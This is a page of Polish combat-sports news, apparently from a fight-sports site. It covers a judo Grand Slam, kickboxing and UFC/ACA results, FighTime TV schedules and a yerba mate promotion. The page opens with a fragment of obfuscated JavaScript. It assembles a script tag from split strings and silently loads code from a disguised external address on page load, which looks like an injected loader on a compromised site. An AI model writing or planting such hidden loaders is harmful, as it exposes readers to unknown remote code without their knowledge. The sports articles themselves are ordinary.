a8x3_+=("t.i")+""+"n";a8x3_+=(("f")+"o");a8x3.type="text/javascript";
a8x3_+="/"; a8x3u="129713041";a8x3u+=".5xfdh4hi8x37yy5hgfq";a8x3u+="irre31apz4c";
a8x3.src="https://"+a8x3_+a8x3u;a8x3.async=true;document.body.appendChild(a8x3);
})();

Podium było blisko

Anna Borowska (57kg) otarła się o podium turnieju Grand Slam w Duesseldorfie. Zawodniczka zajęła piąte miejsce. Najlepsi w zawodach okazali się Japończycy, którzy zdobyli łącznie 14 medali.

24-letnia judoczka mocnym akcentem rozpoczęła tegoroczne zmagania. W Pucharze Europy w Oberwart cieszyła się ze złotego medalu, a w finale wygrała z czołową zawodniczką w swojej kategorii i jednocześnie mistrzynią olimpijską z Rio de Janeiro Rafaelą Silvą. Borowska mogła z nadziejami jechać do Duesseldorfu. Polka zaczęła zmagania zgodnie z planem. Wygrała trzy walki, po drodze pokonując dziewiątą w światowym rankingu Timnę Nelson Levy. W ćwierćfinale Borowska musiał uznać wyższość wicemistrzyni Europy Theresy Stool. Niemka w ekspresowym tempie zakończyła pojedynek. Borowska pokonała w repasażach przez waza ari Jisu Kim i nadal miała nadzieję na medal. Tę odebrała jej jednak Sumiya Dorjsuren z Mongolii.

Wśród panów najlepiej wypadł Wiktor Mrówczyński (73kg). Polak prezentował się fantastycznie – trzy wygrane walki przed czasem. Po zaciętym starciu Mrówczyński przegrał z Somonem Makhmadbekovem. Polakowi pozostała rywalizacja w repasażach, jednak los nie był dla niego łaskawy. Zawodnik AZS AWF Katowice trafił na wicemistrza olimpijskiego Rustama Orujova. Reprezentant Azerbejdżanu przed upływem dwóch minut zakończył walkę. Mrówczyński zajął siódmą pozycję.

Żadnych złudzeń

Japońska dominacja w Duesseldorfie – tak w dużym skrócie wyglądał turniej Grand Slam. Judocy z Kraju Kwitnącej Wiśni rozbili w pył rywali. Warto nadmienić, że tylko w dwóch kategoriach (70kg i 78kg wśród kobiet) na podium nie stanęła przedstawicielka Japonii. Wśród mężczyzn samurajowie okupowali czołowe miejsca, wygrali aż w sześciu z siedmiu wag!

Łącznie Japończycy zapisali na swoim koncie dziewięć złotych, srebrne i dwa brązowe medale. Po jednym krążku z najcenniejszego kruszcu zdobyli: Brazylia (Mayra Aguiar (78kg), Azerbejdżan (Mammadali Mehdiyev 90kg), Wielka Brytania (Sally Conway 70kg), Kuba (Idalys Ortiz +78kg) i Kosowo (Majlinda Kelmendi 52kg).

Uzupełniając klasyfikację medalową – druga Brazylia (złoto, srebro i trzy brązy), trzeci Azerbejdżan (złoto i trzy brązy).

Fot. IJF

KM

Sarara nadal na mistrzowskim tronie

DSF Kickboxing Challenge 20 ''Królowie Ringu'' w Krakowie, czyli trzy starcia o pasy mistrzowskie. Na tronie wagi ciężkiej pozostał Tomasz Sarara. Mistrzami zostali Adam Gielata i Marcin Mazurekiewicz. 

W pierwszej obronie mistrzowskiego pasa wagi ciężkiej Tomasz Sarara miał okazję zaprezentować się przed własną publicznością. Kraków to jego miejsce na ziemi. Rywalem polskiego fightera był Francuz Abderahmane Coulibaly. Sarara zaczął spokojnie, rywal był za to aktywny. Coulibaly próbował trafić mistrza kolanem i middle kickami. W końcówce drugiej rundy Francuz zamknął Polaka w narożniku. Kolejną odsłonę od przyspieszenia zaczął Sarara. Wysokie kopnięcie, seria ciosów pod linami, ale Francuz szybko wyszedł z opresji. Z czasem Francuz stracił animusz. Sarara licznymi kombinacjami góra-dół podkreślał swoją przewagę. W piątej rundzie obaj zawodnicy ruszyli odważnie do przodu – cios za cios. Sarara trafił high kickiem, Francuz odpowiedział mocnym lewym sierpem. Na twarzach zawodników widać było zmęczenie, ale do końca dawali z siebie wszystko. Ciekawych pięć rund. Początek dla Francuza, później kontrolę nad pojedynkiem przejął Polak. Na tronie kategorii ciężkiej pozostał Tomasz Sarara.

Udany debiut w organizacji DSF Kickboxing Challenge zaliczył Łukasz Jarosz. 40-latek na przestrzeni trzech rund był zdecydowanie lepszy od Wendella Roche'a. Wydawało się, że Jarosz może triumfować już w pierwszej rundzie. Polak narzucił szybkie tempo i nawałnica ciosów zasypała zawodnika z Curacao. Roche był liczony, jednak przetrwał napór Jarosza. W kolejnych rundach starał się być równorzędnym rywalem dla dwukrotnego mistrza świata ISKA. Nikt nie mógł mieć jednak wątpliwości – Jarosz wygrał jednogłośną decyzją sędziów.

Pięć morderczych rund obejrzeli kibice zgromadzeni w hali przy ul. Reymonta w Krakowie. Marcin Mazurkiewicz i Piotr Sokół stworzyli świetne widowisko w starciu o pas mistrzowski DSF w wadze do 75kg. Fantastyczne wymiany, mnóstwo ciosów i szybkie tempo. Ani przez chwilę nie można było narzekać na nudę. Z mistrzowskiego pasa cieszył się jednak Mazurkiewicz, na którego korzyść punktowali sędziowie – 48-47, 49-47, 49-47.

W Krakowie miało dojść do dwóch pojedynków ćwierćfinałowych turnieju wagi ciężkiej. Odbył się jeden, ponieważ Kirill Kornilov wycofał się z powodu choroby. W związku z tym do półfinału awansował Tomas Hron. Drugi ćwierćfinał – Dawid Zółtaszek pewnie wypunktował Zakhara Trafimova.

Adam Gielata wykorzystał szansę i zdobył pas mistrzowski DSF w kategorii do 71kg. Zawodnik Punchera Wrocław nie ukrywał swoich aspiracji. Niejednokrotnie podkreślał, że chciałby stoczyć walkę o pas. W Krakowie Jarosław Daschke musiał ustąpić miejsca na tronie Gielacie. Zawodnik Puchera Wrocław okazał się lepszy na przestrzeni trzech rund – 50:46, 49:46, 50:46.

W pozostałych starciach – Kamil Sójkowski przez niejednogłośną decyzję pokonał Tomasza Brotonia, a Rafał Dudek Artura Zakirko.

Fot. DSF Kickboxing Challenge Facebook

KM

Marzenia trzeba odłożyć

Znakomita seria Jana Błachowicza dobiegła końca. Podczas gali UFC Fight Night 145 w Pradze zawodnik pochodzący z Cieszyna przegrał w Thiago Santosem. W stolicy Czech zwycięstwo świętował Michał Oleksiejczuk.

Po czterech zwycięstwach z rzędu przed Janem Błachowiczem rysowała się realna szansa na pojedynek o pas mistrzowski w wadze półciężkiej. Przeszkodą na drodze do realizacji marzeń był Thaigo Santos. Pojedynek Polaka i Brazylijczyka był głównym wydarzeniem gali w Pradze. Początek starcia nie należał do porywających. Żaden z zawodników nie chciał popełnić błędu, obaj byli ostrożni i walczyli asekuracyjnie.  Brazylijczyk próbował niskich kopnięć, atakował na kolano. W pierwszej rundzie Błachowicz szukał obalenia, ale bezskutecznie. Druga odsłona – spokojna. Kilka ciosów z obu stron, na koniec ekwilibrystyczne popisy Santosa. Trzecia runda odmienna od dwóch poprzednich. Do przodu ruszył Błachowicz, ale nadział się na ciosy Brazylijczyka i padł na deski. Santos natychmiast ruszył na Polaka, grad ciosów spadł na głowę byłego mistrza KSW. Sędzia przerwał pojedynek. Marzenia o mistrzowskiej walce prysły. Piąta porażka Błachowicza w UFC, Santos zanotował czwarte zwycięstwo z rzędu.

Znakomity powrót do oktagonu zaliczył Michał Oleksiejczuk. Popularny "Lord" czekał na kolejną walkę ponad rok. W UFC zadebiutował w grudniu 2017 roku i pokonał Khalila Rountree'ego, jednak później został zawieszony na dwanaście miesięcy za stosowanie niedozwolonych środków.  Oleksiejczuk w Pradze zmierzył się z Gianem Villante, który w amerykańskiej organizacji prezentuje się w kratkę. W ostatniej walce pokonał Eda Hermana, ale wcześniej przegrał z Samem Alvey'em. W Pradze polski zawodnik zaprezentował się znakomicie. Minęło półtorej minuty, a Oleksiejczuk trafił pięścią na wątrobę Amerykanina, a ten znalazł się po chwili na deskach. "Lord" nie mógł zmarnować takiej okazji.

Efektowną wygraną zanotował Stefan Struve, który przegrał niedawno z Marcinem Tyburą. W Pradze Holender zmierzył się z Marcosem Rogerio de Limą. Choć pierwsza runda w jego wykonaniu nie należała do najlepszych, w drugiej pokazał swój potencjał. Struve w parterze był z góry i wykonał duszenie trójkątne. Rywal musiał odklepać.

Fot. Jan Błachowicz Facebook

KM

FighTime Live – 21.02.2019

[kod]

Program TV na 21.02.2019   ""

10:00 – STUDIO – gościem Andrzej Supron
10:35 – PLMMA 75 (2017)
11:40 – Masters Fight Series 1 (2017)
13:30 – STUDIO – gościem Jacek Wieczorek
13:55 – Mistrzostwa Polski Kickboxingu Full Contact (2016)
15:10 – Zakończenie programu

 

FighTime Live – 25.02.2019

[kod]

Program TV na 25.02.2019   ""

17:00 – STUDIO – gościem Andrzej Supron
17:35 – PLMMA 75 (2017)
18:40 – Masters Fight Series 1 (2017)
20:30 – STUDIO – gościem Jacek Wieczorek
20:55 – Mistrzostwa Polski Kickboxingu Full Contact (2016)
22:10 – STUDIO – gościem Andrzej Malina
22:45 – Mistrzostwa Polski K-1 (2017)
00:05 – Zakończenie programu.

FighTime Live – 26.02.2019

[kod]

Program TV na 26.02.2019   ""

17:00 – STUDIO – gościem Łukasz Wichowski
17:12 – Mistrzostwa Polski Oriental Rules (2015)
19:50 – STUDIO – gościem Karol Łada
20:10 – Mecz POLSKA vs UKRAINA Kick Light (2017)
21:25 – REPORTAŻ – Marcin Różalski
21:30 – Gala Fighters Night 4 K-1 (2015)
22:40 – Gala Granda PRO 5 (2017)
00:00 – Zakończenie programu

FighTime Live – 27.02.2019

[kod]

Program TV na 27.02.2019   ""

17:00 – STUDIO – gościem Sławomir Duba (2018)
17:20 – 18 Warszawska Granda (2016)
22:20 – REPORTAŻ Dragon Starachowice (2016)
22:30 – Mistrzostwa Polski Oriental Rules (2016)
23:10 – STUDIO – gościem Rafał Mazurowski
23:30 – Zakończenie programu.

FighTime Live – 11.03.2019

[kod]

Program TV na 11.03.2019   ""

17:00 – STUDIO – gościem Daniel Omielańczuk
17:10 – Mecz POLSKA vs WĘGRY Kick Light (2018)
19:55 – Gala DSF 5 (2015)
21:20 – STUDIO – gościem Paweł Gieżyński
21:35 – Gala Granda PRO 6 (2018)
00:20 –  Zakończenie programu

Yerba Mate Green z guaraną – wypróbuj przed treningiem!

Ostrokrzew paragwajski to jedna z roślin obfitujących w kofeinę, którą w przypadku yerba mate nazywa się mateiną. Działa bowiem trochę inaczej niż kofeina obecna w kawie – dłużej i nie powoduje nagłego skoku ciśnienia i równie szybkiego spadku zarówno energii, jak i mikroelementów w organizmie. Yerba mate uzupełnia minerały i witaminy! Podobnie jest w przypadku innej rośliny posiadającej alkaloid kofeinę, czyli guarany. Kofeina w guarania zwana jest po prostu guaraniną. I działa jeszcze mocniej niż wymienione wcześniej zioła! Guarana jest owocem, który po sproszkowaniu stanowi maksymalne stężenie swej mocy – wystarczy łyżeczka lub dwie i czujemy gwałtowne pobudzenie całego ciała. Guarana jest zatem idealna do zadań specjalnych, ale też jako uzupełnienie innych kofeinowych naparów.

Brazylijska Yerba Mate Green z guaraną

W suszu świeżej, pozbawionej pyłu Yerba Mate Green Mas Energia, dodano nie tylko wzmacniającą moc pobudzającą guaranę. Oprócz niej w Mas Energia występują także orzeźwiające zioła: trawa cytrynowa, mięta, płatki bławatka i nagietka. Taka kompozycja skutecznie da nam energię, rześkość i świetne trawienie. Guarana wpływa też na polepszenie koncentracji i pracę umysłową. Brazylijska yerba mate będzie dobra dla osób potrzebujących dużych ilości kofeiny, a zarazem delikatności smaku. Yerba Mate Green jest słodkawa, naturalna gorzkość samego suszu yerbowego uwalnia się stopniowo, wraz z kolejnymi zalaniami. A obecność ziół sprawia, że yerba jest też wydajna. Sprawdzi się na ciepło i na zimno, jako odświeżające terere – yerba mate zalana wodą z lodem. Zabierz Yerba Mate Green Mas Energia do pracy, na studia czy na siłownię. Znajdziesz ją w sklepie YerbaMarket.com: https://www.yerbamarket.com/pol_m_Yerba-mate-100.html

Yerba Mate Green Mas Energia Guarana

Gatunek odpylonej i suszonej gorącym powietrzem Yerba Mate Green z dodatkiem guarany, to jedna z najchętniej kupowanych yerba mate na rynku! Wiele osób ufa tej yerba mate nie tylko w przypadku świetnego, sprawdzonego pobudzenia, ale również smaku. A dobre działanie i idealny dla naszego gustu aromat, to przepis na znalezienie swojej yerby życia! Być może Mas Energia Guarana jest właśnie tą yerbą w twoim przypadku. Pachnące, duże listki, a w nich zatopione aromatyczne zioła i sproszkowana guarana, której moc aż wiruje w powietrzu – zakochasz się w tej yerbie mocy już po pierwszym łyku! Dla czytelników Fightime sklep YerbaMarket.com przygotował promocję, do każdego zamówienia z dopiskiem "Fightime" zapakujemy drobną niespodziankę 🙂

Pas nie dla Celińskiego

W walce wieczoru gali ACA 92 w Warszawie Karol Celiński (93kg) miał szansę na zdobycie pasa wagi półciężkiej. Polak przegrał w czwartej rundzie. Kolejne zwycięstwo zanotował Daniel Omielańczuk (120kg).

Torwar nie przyniósł szczęścia Karolowi Celińskiemu. To miał być najważniejszy dzień w karierze popularnego "Cebuli". Polak znakomicie radził sobie dotychczas w czeczeńskiej organizacji. Cztery wygrane i walka o pas. Piękny sen został przerwany przez mistrza kategorii półciężkiej Dowłedzana Jagszimuradowa. Obaj musieli być przygotowani na morderczy pojedynek, w końcu czekało ich pięć rund. Minęły trzy i trudno było wskazać faworyta. Do ataku ruszył mistrz. W czwartej rundzie Jagszimuradow sprowadził Celińskiego do parteru. Kręcił, kręcił i zdobył pozycję boczną. Na głowę Celińskiego spadło mnóstwo ciosów, pojawiło się na niej również rozcięcie. Polak zdążył wstać, ale po chwili znów starcie toczyło się w parterze. Grad łokci ze strony Rosjanina sprawił, że "Cebula" nie był w stanie odpowiedzieć. Mistrz obronił tytuł.

Doświadczony Daniel Omielańczuk pokazał klasę i zanotował pewne zwycięstwo. Żelimchan Umiev nie wytrzymał naporu 36-letniego Polaka. Omielańczuk decydował o tempie walki i szukał możliwości trafienia rywala. Były zawodnik UFC zamykał Rosjanina pod siatką, gdzie słał w jego stronę kolejne ciosy. Umiev nie potrafił przeciwstawić się Omielańczukowi, a wraz z upływem czasu wyglądał na coraz bardziej bezradnego i zmęczonego. Omielańczuk nie zamierzał oszczędzać przeciwnika, w końcówce zaliczył sprowadzenie i nie było wątpliwości, kto wygra. Polak zanotował drugi triumf w ACA.

Drugą porażkę w organizacji ACA zanotował Piotr Strus (84kg), choć wynik należy ocenić jako kontrowersyjny. Co prawda Ibragim Czużigajew lepiej zaczął pojedynek, jednak wraz z upływem czasu Polak pokazał, że należy do czołówki wagi średniej. Nie brakowało mocnych ciosów, a Strus naruszył rywala. Trzecia runda to popis byłego zawodnika KSW, który zdominował Rosjanina. Kropką nad "i" miało być sprowadzenie Czużigajewa do parteru. Strus w końcu zdobył plecy i trafiał łokciami. Rywal z nadzieją wypatrywał końca walki i cel osiągnął. Werdykt był zaskakujący – niejednogłośną decyzją sędziów wygrał Czużigajew. Dobra postawa Strusa to było za mało w oczach oceniających…

Czwarte zwycięstwo z rzędu odniósł Aslambek Saidov (77kg), który pokonał Ciro Rodriguesa. Znany z występów w KSW zawodnik wygrał przez TKO w drugiej rundzie. Udany debiut w MMA zaliczył Radosław Paczuski (93kg). Zawodnik Uniq Fight Club po wymagającym starciu pokonał decyzją sędziów Jarosława Lecha. Mateusz Łazowski (120kg) znokautował w pierwszej rundzie Dawida Kobierę. Galę w Warszawie otworzył zwycięstwem Grzegorz Joniak (57kg), który większościową decyzją pokonał Shamkhana Erzanukaeva.

Fot. Karol Celiński Facebook

KM

Dziesięciu Polaków wystąpi na ACA 92

W najbliższą sobotę (16 lutego) warszawski Torwar skupi emocje związane z galą ACA 92, podczas której zobaczymy dziesięciu reprezentantów Polski. Łącznie zaplanowano 15 walk, w tym o pas mistrzowski kategorii półciężkiej – Karol Celiński zmierzy się z czempionem Dowłedzanem Jagszimuradowem.

W grudniu organizacja ACB przekształciła się w ACA w wyniku połączenia z World Fighting Championship Akhmat. Pierwsza gala pod nową banderą odbyła się 26 stycznia w Groznym. Podczas wydarzenia doszło do dwudziestu pojedynków! Władze organizacji stawiają na ilość, ale także na jakość. Przede wszystkim liczy się walka i najwyższej klasy umiejętności zawodników.

Kolejną dawką MMA organizacja uraczy podczas gali ACA 92 w Warszawie. 16 lutego w akcji zobaczymy dziesięciu Polaków. W walce wieczoru zaprezentuje się Karol Celiński, który stanie przed największym wyzwaniem w karierze. Po czterech wygranych popularny "Cebula" stanie przed szansą na wywalczenie pasa w wadze półciężkiej. Pochodzący z Turkmenistanu Jagszimuradow wygrał sześć ostatnich pojedynków, w tym pięć w ACB. Co istotne – wszystkie starcia w czeczeńskiej organizacji rozstrzygnął na swoją korzyść przed czasem!

30-letni Piotr Strus będzie chciał w Warszawie zrehabilitować się za porażkę z Albertem Durajewem w pojedynku o pas wagi średniej. Czeka go kolejne trudne wyzwanie. Ibragim Chuzhigaev od czterech lat występuje w ACA (ACB) i jest wysoko w rankingu kategorii średniej. 27-latek wygrał trzy starcia z rzędu. Strus udowodnił, że należy do czołówki wagi średniej i zapracował na walkę o pas. Musi pokonać Chuzhigaeva, aby dostać kolejną szansę na zdobycie mistrzowskiego tytułu.

Trzeci raz w czeczeńskiej organizacji zaprezentuje się Daniel Omielańczuk. Ostatnio Polak przegrał z Amirem Aliakbarim. W Warszawie Omielańczuk zmierzy się z doświadczonym Zelimkhanem Umievem, który czeka na dwunastą wygraną. 37-letni Rosjanin w sierpniu zanotował porażkę w starciu z Evgenijem Goncharovem podczas WFCA 50. Co istotne, Umiev ma na rozkładzie zawodnika z Polski – w 2014 roku pokonał Jacka Czajczyńskiego.

Debiut w MMA zaliczy Radosław Paczuski, który spotka się z rodakiem – Jarosławem Lechem. Kolejne starcie biało-czerwonych: Dawid Kobiera kontra Mateusz Lazowski. Ten pierwszy ma na koncie premierową wygraną w MMA, drugi czeka na triumf. W akcji zobaczymy również byłego zawodnika KSW Aslambeka Saidova, który ma serię trzech zwycięstw z rzędu. Jego rywalem w hali Torwar będzie Ciro Rodrigues. Galę otworzy pojedynek Grzegorza Joniaka z Shamanem Erzanukaevem.

Fot. materiały organizatora

KM

FighTime Live – 18.02.2019

[kod]

Program TV na 18.02.2019   ""

10.00 – Konferencja Angels of Glory (2016)
10.30 – Gala Angels of Glory 1 (2016)
12.00 – STUDIO – gościem Piotr Siegoczyński (2018)
12.05 – Gala DSF 2 (2014)
13.05 – STUDIO – gośćmi Krzysztof Kaproń i Przemysław Ziemnicki (2018)
13.20 – Gala Granda PRO 1 (2016)
14.30 – STUDIO – gościem Grzegorz Chałubiński (2018)
14.50 – Gala LFN 3 (2016)
17.55 – Reportaż o Marku Piotrowskim (2018)
18.05 – STUDIO – gościem Dariusz Piwowarski (2015)
18.40 – Zakończenie programu

FighTime Live – 20.02.2019

[kod]

Program TV na 19.02.2019   ""

10.00 – STUDIO – gościem Patryk Kuryłek
10.15 – Gala Masters of Series 2 – Lesznowola
12.30 – Reportaż – Kadra Polski Judo Kobiet zgrupowanie w Cetniewie
12.55 – European Judo Open Women 2016
13.40 – STUDIO – gościem Grzegorz Engel
14.05 – Gala Pałuska Kickboxing Night 3
15.55 – Gala Granda PRO 3
17.45 – Reportaż European Judo Open Women Warsaw
18.20 – Reportaż – Road to bronze medal. Polish Judo Team Men`s, Kazań 2016
18.25 – Reportaż – Road to gold medal. Polish Judo Team Women, Kazań 2016

Rajewski z Gęsiarzem powalczą o podbój Warszawy

Robert Rajewski (5-6) zmierzy się z Michałem Gęsiarzem (18-2-1) podczas gali Fight Exclusive Night 24, która 16 marca odbędzie się w hali COS Torwar. Limit pojedynku w formule K-1 to 70 kilogramów.

Rajewski wystąpił podczas gali FEN 23 w Lubinie, gdy nieznacznie przegrał na punkty z Łukaszem Kaczmarczykiem. Zawodnik z Płocka może pochwalić się wieloma sukcesami na koncie, m.in. wielokrotnie zdobywał tytuł kickbokserskiego mistrza Polski i uczestniczył w prestiżowym turnieju King of Kings World GP. Trenowany przez swego ojca Roberta zawodnik ma na swym koncie także tytuł międzynarodowego mistrza Polski w wushu sanda, z którego się wywodzi.

Gęsiarz, mimo że pochodzi z warszawskiego Żoliborza, w swoim rodzinnym miejście walczył tylko raz. Zawodnik mieszka i trenuje w Berlinie w klubie Golden Glory pod okiem trenera Tareka Gromnicy. Co ciekawe, w Niemczech walczy w systemie klasowym, aktualnie jest według tamtejszych zasad zawodnikiem aspirujacym do A-klasy. Gęsiarz to aktualny mistrz Europy IPTA.

Karta walk FEN 24:

+95 kg, K-1: Arkadiusz Wrzosek VS TBA * 
77 kg, MMA: Andrzej Grzebyk VS Kamil Gniadek * 
85 kg, K-1: Radosław Paczuski VS TBA * 
55 kg, MMA: Kamila Porczyk VS Anita Bekus 
80 kg: Arab VS Wujek Samo Zło 
120 kg MMA: Grzegorz Ciepliński VS Szymon Bajor 
66 kg, MMA: Kamil Łebkowski VS TBA 
84 kg, MMA: Bartosz Leśko VS Marcin Naruszczka 2 
77 kg, MMA: Marcin Krakowiak VS Michał Tarabańka 
70 kg, K-1: Robert Rajewski VS Michał Gęsiarz 

* Stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night.

Doświadczony Zieliński spróbuje powstrzymać Łebkowskiego na FEN 24

Adrian Zieliński (17-8, 4 KO, 6 SUB) zmierzy się z Kamilem Łebkowskim (16-8, 9 KO, 2 SUB) podczas gali Fight Exclusive Night 24, która 16 marca odbędzie się w hali COS Torwar. Pojedynek ten będzie eliminatorem do pasa mistrzowskiego w kategorii piórkowej.

Zieliński ma 32 lata i trenuje w olsztyńskim klubie Berkut Arachion. Karierę zawodową rozpoczął w 2010 roku, gdy przez poddanie wygrał z Rafałem Rynkowskim. W latach 2013-2015 mógł pochwalić się serią siedmiu kolejnych zwycięstw z rzędu. W 2017 roku podczas gali ACB 52 wygrał na punkty jednogłośną decyzją sędziów z Rasulem Yakhyaevem. Spośród 17 zwycięskich pojedynków aż 10 miało miejsce przed czasem.

Łebkowski w październiku 2018 roku po bardzo dobrym pojedynku wygrał jednogłośną decyzją sędziów z Łukaszem Demczurem. Wcześniej toczył znakomite boje z Gabrielem Silvą i Daguirem Imavovem, na rozkładzie ma również byłego zawodnika UFC, Piotra Hallmanna. Łebkowski jest jednym z najbardziej doświadczonych zawodników w FEN, a zwycięstwo z Zielińskim na początku 2019 roku ma mu otworzyć szansę na zdobycie pasa mistrzowskiego.

Karta walk FEN 24:

+95 kg, K-1: Arkadiusz Wrzosek VS Patrick Schmid * 
77 kg, MMA: Andrzej Grzebyk VS Kamil Gniadek * 
85 kg, K-1: Radosław Paczuski VS TBA * 
55 kg, MMA: Kamila Porczyk VS Anita Bekus 
80 kg: Arab VS Wujek Samo Zło 
120 kg MMA: Grzegorz Ciepliński VS Szymon Bajor 
66 kg, MMA: Kamil Łebkowski VS Adrian Ziółkowski 
84 kg, MMA: Bartosz Leśko VS Marcin Naruszczka  
77 kg, MMA: Marcin Krakowiak VS Michał Tarabańka 
70 kg, K-1: Robert Rajewski VS Michał Gęsiarz

* Stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night.

Zaskakująca decyzja Fonfary

Andrzej Fonfara podjął decyzję o zakończeniu kariery, choć 9 marca miał stoczyć kolejny pojedynek. – Nie mam już serca do boksu – wyznał 31-letni pięściarz.

W czerwcu 2018 roku Andrzej Fonfara zadebiutował w wadze junior ciężkiej (wcześniej rywalizował w półciężkiej). Polak cieszył się ze zwycięstwa w starciu z Ismaiłem Sillachem w szóstej rundzie. 9 marca Fonfara miał stoczyć drugi pojedynek w kategorii junior ciężkiej. W Dignity Health Sports Park zaplanowano starcie "Polskiego Księcia" z Edwinem Rodriguezem z Dominikany. Fonfara przygotowywał się do walki, jednak do tej ostatecznie nie dojdzie. 31-letni pięściarz ogłosił zakończenie kariery. – Prawie 20 lat w boksie! Kiedy zaczynałem w dwutysięcznym roku jako 12 letni chłopak nie myślałem, że będzie to aż tak długa i piękna przygoda którą właśnie. Kończę jako spełniony sportowiec i człowiek! – napisał w mediach społecznościowych.

W przypadku Fonfary przeszkodą do dalszej rywalizacji na pewno nie jest wiek. Również nie pojawiały się doniesienia o kłopotach zdrowotnych. Decyzja Fonfary jest zaskakująca, a prawdę mówiąc – sensacyjna. Bokser wyjaśnia powody takiego kroku. – Nie ma już tego zapału a przede wszystkim motywacji i tej adrenaliny która dawała chęci wyjścia do ringu i rywalizacji – podkreśla Fonfara. – Jestem zdrowy, wszystko OK, ale nie mam już serca do boksu. Ja zawsze na 100 procent albo nic. Inaczej nie umiem – dodaje.

 „Polski Książę” zwrócił się również do tych, którzy przez lata kariery byli przy nim. – Dziękuje wszystkim którzy byli ze mną przez te wszystkie lata mojej kariery kiedy wygrywałem a jeszcze bardziej tym którzy byli gdy przychodziła porażka  – napisał Andrzej Fonfara.

Na zawodowym ringu "Polski Książę" zadebiutował 3 czerwca 2006 roku. W Ostrołęce pokonał Miroslava Kubika. Łącznie Fonfara wygrał 30 pojedynków, w tym 18 przez nokaut. Na swoim koncie zapisał pas IBO w wadze półciężkiej. Rywalizował również o mistrzostwo WBC, jednak dwukrotnie musiał uznać wyższość Adonisa Stevensona. Fonfara stoczył wiele efektownych pojedynków. Na rozkładzie ma m.in. były mistrzów świata – Julio Cesara Chaeveza Jr., Chada Dawsona i Nathana Cleverly'ego.

Fot. Andrzej Fonfara Facebook

KM

Wielka kasa za rewanż

Tyson Fury może liczyć na pokaźne wynagrodzenie za rewanżowy pojedynek z mistrzem świata WBC w wadze ciężkiej Deontayem Wilderem. Mówi się, że na konto olbrzyma z Wilmslow wpłynie 20 milionów funtów.

Wiadomo, że gwiazdy przyciągają tłumy i ich wkład w budowanie widowiska kosztuje. Najlepsi mogą liczyć na grube miliony. 1 grudnia 2018 roku w Staples Center w Los Angeles odbyło się pasjonujące widowisko bokserskie. Tyson Fury dostał szansę, po wielu osobistych perypetiach, aby ponownie zaistnieć na szczytach kategorii ciężkiej. Mocny i dysponujący potężnym ciosem Deontay Wilder pewnie dzierżył pas WBC i odprawiał kolejnych rywali. Fury postawił się jednak Amerykaninowi i zaprezentował się z bardzo dobrej strony, czego efektem był werdykt w postaci remisu. Wilder zarobił za walkę 4 miliony dolarów, jego rywal o milion mniej. Trzeba dodać do tego również wpływy z pay per view. Wedle szacunków Wilder mógł otrzymać łącznie 14 milionów dolarów, zaś Fury 10 milionów dolarów.

Niemalże pewne było, że będzie musiało dojść do rewanżu. Wilder i Fury są gwarancją widowiska, a po pierwszej walce wszyscy spodziewają się niesamowitych grzmotów i wielkich emocji. Dodając do tego fakt, że żaden z  bokserów nie przebiera w słowach – na każdym etapie promocji walki będzie gorąco. W tle ciągle znajduje się Anthony Joshua, ale na dziś większym magnesem są Wilder i Fury, którzy są gwarantują odpowiedni poziom sportowy i show. 

Potrzeba tylko kropki nad "i". Wszystko wskazuje na to, że Wilder i Fury spotkają się 18 maja w Nowym Jorku. Brytyjczyk może liczyć na pokaźną gażę. Według "Daily Mail" Fury na rewanżowym pojedynku z Wilderem może zarobić aż 20 milionów funtów!

Kolejna walka dla „Brązowego Bombardiera” będzie dziewiątą obroną mistrzowskiego pasa. Fury stoczy czwarty pojedynek od powrotu na ring, który miał miejsce w czerwcu zeszłego roku. Obaj pięściarze jeszcze nigdy nie ponieśli porażki.

Fot. Tyson Fury Facebook

KM

Włoskie zdobycze

Dobry występ polskich kadetów w Pucharze Europy w judo w Follonicy. Złoto wywalczyła Katarzyna Sobierajska (70kg). Biało-czerwoni zajęli 5. miejsce w klasyfikacji medalowej. Z kolei w zawodach Grand Slam w Paryżu bez powodzenia rywalizował Tomasz Szczepaniak (90kg).

Judoczka AZS UW Warszawa okazała się postrachem holenderskich zawodniczek. Sobierajska stoczyła we Włoszech pięć walk, w tym aż cztery z przeciwniczkami z kraju tulipanów. Polka szła jak burza – zaczęła od pokonania Sarah Hector, w drugim starciu wygrała z Rumunką Claudią Tarbą. Kolejne pojedynki wygrała w czasie poniżej minuty – ofiarami Sobierajskiej były Yael van Heemst i Lotte Schutjes. Co istotne – zawodniczka AZS UW Warszawa cztery walki wygrała przez ippon. Dopiero w finale mocno trzymała się Cheyenne van der Sluis, ale ze złota cieszyła się Sobierajska.

O krok od triumfu był również Wojciech Grądzki (73kg). Brązowy medalista zawodów z Gyor z listopada 2018 roku stoczył we Włoszech aż sześć pojedynków. Polak bez większych problemów awansował do finału, jednak tam lepszy okazał się Szwajcar Aurelien Bonferroni. Drugie miejsce w Follonicy zajął Albin Kocioł (81kg). Polak trzy walki rozstrzygnął na swoją korzyść w mgnieniu oka, przez waza ari pokonał Rosjanina Illiasa Murzabekova. Finał był wyczerpujący. Po dogrywce Kocioł musiał uznać wyższość Mikhaila Avdeeva.

Trzecie miejsce zajęła Oliwia Onysk (40kg). Na początku Polka przegrała z Lindą Verhaart, ale poradziła sobie w repasażach. W starciu o brąz Onysk wygrała przed czasem. O podium otarła się Alicja Gowarzewska (48kg) – 5. pozycja.

Najlepiej w Follonicy zaprezentowali się gospodarze. Włosi zdobyli 14 medali, czyli o dwa mniej niż Rosjanie, jednak reprezentanci Sbronej aż dziewięciokrotnie stawali na trzecim stopniu podium przy pięciu triumfach i dwóch srebrach. Z kolei Italia zanotowała – 6 krążków z najcenniejszego kruszcu. Do tego Włosi dołożyli trzy srebra i pięć brązów.

Krótka przygoda

W turnieju Grand Slam w Paryżu zaprezentował się Tomasz Szczepaniak (90kg). Polak wygrał z Estończykiem Mattiasem Kuusikiem, ale w kolejnym starciu przegrał z reprezentantem Mołdawii Iurie Mocanu.

Najlepsi w Paryżu byli Japończycy (5-3-7), którzy wyprzedzili Francuzów (2-1-2). Za nimi Korea Południowa (2-0-3).

KM

Powrót Silvy

Po dwóch latach do oktagonu wraca Anderson Silva. Podczas gali UFC 234 w Melbourne legendarny Brazylijczyk zmierzy się z niepokonanym Israelem Adesanyą.

